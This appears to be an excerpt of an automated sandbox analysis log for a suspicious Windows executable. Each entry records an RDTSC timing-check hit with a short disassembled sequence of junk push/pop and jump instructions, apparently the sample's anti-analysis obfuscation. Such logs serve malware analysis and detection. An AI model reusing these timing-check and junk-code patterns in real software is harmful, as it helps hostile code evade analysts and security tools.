Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 71461D second address: 71464F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 ja 00007FE1C0B69E36h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FE1C0B69E3Dh 0x00000013 jmp 00007FE1C0B69E47h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 714A54 second address: 714A5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 714A5E second address: 714A62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 714A62 second address: 714A84 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FE1C0EF51F4h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jp 00007FE1C0EF51E6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 714A84 second address: 714A88 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 71950B second address: 71951E instructions: 0x00000000 rdtsc 0x00000002 jg 00007FE1C0EF51E6h 0x00000008 jne 00007FE1C0EF51E6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push esi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 71967C second address: 719682 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 719836 second address: 719842 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 719842 second address: 719846 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 719846 second address: 719853 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FE1C0EF51E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 719ADD second address: 719B33 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FE1C0B69E4Ah 0x00000008 jmp 00007FE1C0B69E3Ch 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 jmp 00007FE1C0B69E3Ch 0x00000017 jmp 00007FE1C0B69E49h 0x0000001c pushad 0x0000001d popad 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 719B33 second address: 719B40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 pop eax 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 719CCE second address: 719CD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 719CD4 second address: 719CD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 719CD8 second address: 719CE8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d push esi 0x0000000e pop esi 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 719CE8 second address: 719CEE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 719F8C second address: 719F96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FE1C0B69E36h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 719F96 second address: 719F9C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 719F9C second address: 719FCB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FE1C0B69E43h 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007FE1C0B69E42h 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 72190B second address: 721911 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 721911 second address: 721915 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 721915 second address: 721964 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jmp 00007FE1C0EF51F9h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c pushad 0x0000000d push ebx 0x0000000e push esi 0x0000000f pop esi 0x00000010 pop ebx 0x00000011 jc 00007FE1C0EF51EEh 0x00000017 jg 00007FE1C0EF51E6h 0x0000001d push ebx 0x0000001e pop ebx 0x0000001f jmp 00007FE1C0EF51F8h 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 720A82 second address: 720A87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 7204F1 second address: 7204F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 7204F5 second address: 7204FB instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 727615 second address: 72761B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 72773E second address: 727751 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FE1C0B69E36h 0x0000000a jc 00007FE1C0B69E36h 0x00000010 push edi 0x00000011 pop edi 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 72EF73 second address: 72EF79 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 72E781 second address: 72E794 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push edi 0x00000008 pushad 0x00000009 jno 00007FE1C0B69E36h 0x0000000f push esi 0x00000010 pop esi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 72EA2E second address: 72EA42 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jng 00007FE1C0EF51E6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jng 00007FE1C0EF51E6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 72EA42 second address: 72EA48 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 732C77 second address: 732C7B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 732C7B second address: 732C91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007FE1C0B69E3Ch 0x0000000c jo 00007FE1C0B69E36h 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 732C91 second address: 732C95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 731F9A second address: 731FA0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 732107 second address: 732132 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jno 00007FE1C0EF51E6h 0x0000000b jl 00007FE1C0EF51E6h 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push eax 0x00000015 push edx 0x00000016 push esi 0x00000017 pushad 0x00000018 popad 0x00000019 push edx 0x0000001a pop edx 0x0000001b pop esi 0x0000001c jmp 00007FE1C0EF51EFh 0x00000021 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 732132 second address: 732152 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE1C0B69E3Ah 0x00000009 jmp 00007FE1C0B69E42h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 73227D second address: 732285 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 732285 second address: 73229E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007FE1C0B69E40h 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 7323E5 second address: 732406 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jnc 00007FE1C0EF51FBh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 732406 second address: 73240C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 73240C second address: 732412 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 732412 second address: 732416 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 73252C second address: 732536 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 732819 second address: 732834 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C0B69E3Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e pop esi 0x0000000f jne 00007FE1C0B69E36h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 732834 second address: 73283C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 736D6F second address: 736D74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 73708C second address: 737092 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 737092 second address: 73709C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 737391 second address: 737397 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 7374C4 second address: 7374D4 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FE1C0B69E36h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 7374D4 second address: 7374D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 7374D8 second address: 7374DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6DBEA8 second address: 6DBEC2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C0EF51F3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6DBEC2 second address: 6DBF19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 push eax 0x00000007 jmp 00007FE1C0B69E40h 0x0000000c nop 0x0000000d mov edx, dword ptr [ebp+122D2A5Fh] 0x00000013 mov ebx, dword ptr [ebp+1246FF85h] 0x00000019 mov edx, dword ptr [ebp+122D3A99h] 0x0000001f add eax, ebx 0x00000021 push 00000000h 0x00000023 push ebx 0x00000024 call 00007FE1C0B69E38h 0x00000029 pop ebx 0x0000002a mov dword ptr [esp+04h], ebx 0x0000002e add dword ptr [esp+04h], 0000001Ch 0x00000036 inc ebx 0x00000037 push ebx 0x00000038 ret 0x00000039 pop ebx 0x0000003a ret 0x0000003b push eax 0x0000003c push eax 0x0000003d push edx 0x0000003e push edx 0x0000003f push edx 0x00000040 pop edx 0x00000041 pop edx 0x00000042 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6DBF19 second address: 6DBF1F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6DBF1F second address: 6DBF23 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 73761D second address: 73762F instructions: 0x00000000 rdtsc 0x00000002 jo 00007FE1C0EF51E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a je 00007FE1C0EF51E8h 0x00000010 push edx 0x00000011 pop edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 7377C6 second address: 7377DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jmp 00007FE1C0B69E43h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 7377DE second address: 73782C instructions: 0x00000000 rdtsc 0x00000002 jg 00007FE1C0EF51FDh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c jns 00007FE1C0EF51E6h 0x00000012 pushad 0x00000013 popad 0x00000014 jc 00007FE1C0EF51E6h 0x0000001a popad 0x0000001b jmp 00007FE1C0EF51F2h 0x00000020 push eax 0x00000021 push edx 0x00000022 push ebx 0x00000023 pop ebx 0x00000024 je 00007FE1C0EF51E6h 0x0000002a rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 738255 second address: 738283 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FE1C0B69E45h 0x0000000e jmp 00007FE1C0B69E40h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 7405A2 second address: 7405B9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C0EF51F3h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 7405B9 second address: 7405BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 73E868 second address: 73E86C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 73E86C second address: 73E872 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 73E9EF second address: 73E9F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 7402CF second address: 7402D5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 7402D5 second address: 7402DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 744423 second address: 744444 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 popad 0x00000007 pushad 0x00000008 popad 0x00000009 js 00007FE1C0B69E36h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 push ecx 0x00000016 pop ecx 0x00000017 push ebx 0x00000018 pop ebx 0x00000019 popad 0x0000001a pushad 0x0000001b push ecx 0x0000001c pop ecx 0x0000001d push edx 0x0000001e pop edx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 744444 second address: 744449 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 744449 second address: 744460 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C0B69E42h 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 744460 second address: 744466 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 7445C8 second address: 7445D2 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FE1C0B69E36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 7445D2 second address: 744606 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C0EF51EFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c jmp 00007FE1C0EF51EFh 0x00000011 jng 00007FE1C0EF51E6h 0x00000017 jng 00007FE1C0EF51E6h 0x0000001d push edx 0x0000001e pop edx 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 7447A8 second address: 7447AD instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 744929 second address: 744933 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FE1C0EF51E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 744A91 second address: 744A95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 7499CA second address: 7499D0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 7499D0 second address: 7499D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 74BE8D second address: 74BEA1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE1C0EF51EEh 0x00000009 push edx 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 74BEA1 second address: 74BEAB instructions: 0x00000000 rdtsc 0x00000002 jng 00007FE1C0B69E36h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 754400 second address: 754404 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 754404 second address: 75443A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C0B69E3Ah 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jmp 00007FE1C0B69E3Bh 0x00000011 jmp 00007FE1C0B69E48h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 752970 second address: 75298A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 jc 00007FE1C0EF51EEh 0x0000000f jng 00007FE1C0EF51E6h 0x00000015 pushad 0x00000016 popad 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 75298A second address: 7529B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FE1C0B69E36h 0x0000000a jmp 00007FE1C0B69E49h 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 popad 0x00000012 pushad 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 752B22 second address: 752B27 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 752CB9 second address: 752CBD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 752E36 second address: 752E8E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C0EF51F0h 0x00000007 push ebx 0x00000008 jmp 00007FE1C0EF51F2h 0x0000000d jmp 00007FE1C0EF51F9h 0x00000012 pop ebx 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FE1C0EF51F1h 0x0000001e pushad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 752E8E second address: 752E98 instructions: 0x00000000 rdtsc 0x00000002 je 00007FE1C0B69E36h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 752E98 second address: 752E9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 752E9E second address: 752EA9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jc 00007FE1C0B69E36h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
